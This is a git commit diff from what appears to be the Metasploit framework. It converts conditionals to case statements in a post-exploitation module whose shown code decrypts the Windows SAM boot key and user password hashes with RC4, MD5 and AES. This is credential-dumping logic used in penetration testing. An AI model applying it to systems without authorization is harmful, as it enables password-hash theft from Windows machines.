convert conditionals to case statements

just a little tidying up by using case statements
This commit is contained in:
David Maloney 2017-06-19 13:40:00 -05:00
parent a01796d114
commit 6d38dffbe1
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 43 additions and 46 deletions

View File

@ -141,7 +141,8 @@ class MetasploitModule < Msf::Post
revision = vf[0x68, 4].unpack('V')[0]
if revision == 1
case revision
when 1
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
@ -149,20 +150,18 @@ class MetasploitModule < Msf::Post
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
if revision == 2
hbootkey
when 2
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.key = bootkey
aes.padding = 0
aes.decrypt
aes.iv = vf[0x78, 16]
return aes.update(vf[0x88, 16]) # we need only 16 bytes
end
aes.update(vf[0x88, 16]) # we need only 16 bytes
else
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
end
end
def capture_user_keys
users = {}
@ -254,7 +253,8 @@ class MetasploitModule < Msf::Post
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
revision = enchash[2, 2].unpack('v')[0]
if revision == 1
case revision
when 1
if enchash.length < 20
return default
end
@ -265,8 +265,7 @@ class MetasploitModule < Msf::Post
rc4 = OpenSSL::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash[4, 16])
elsif revision == 2
when 2
if enchash.length < 40
return default
end
@ -277,11 +276,9 @@ class MetasploitModule < Msf::Post
aes.decrypt
aes.iv = enchash[8, 16]
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
else
print_error("Unknown user hash revision: #{revision}")
return default
end
des_k1, des_k2 = rid_to_key(rid)